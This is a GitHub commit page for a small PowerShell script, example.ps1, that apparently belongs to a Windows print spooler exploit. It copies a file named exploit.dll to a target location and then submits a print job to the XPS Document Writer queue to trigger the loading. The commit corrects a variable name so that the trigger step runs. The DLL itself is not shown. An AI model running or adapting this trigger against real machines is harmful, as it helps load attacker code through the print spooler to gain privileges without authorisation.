Skip to content

Commit d54c190

Browse files
Update example.ps1
1 parent f8ac1da commit d54c190

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

example.ps1

+1-1
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,6 @@ Copy-Item exploit.dll $Target
99
# trigger print job
1010
Add-Type -AssemblyName System.Printing
1111
$PrintServer = new-object System.Printing.PrintServer
12-
$Queue = $server.GetPrintQueue('Microsoft XPS Document Writer')
12+
$Queue = $PrintServer.GetPrintQueue('Microsoft XPS Document Writer')
1313
$Job = $Queue.AddJob()
1414
$Job.JobStream.Close()

0 commit comments

Comments
 (0)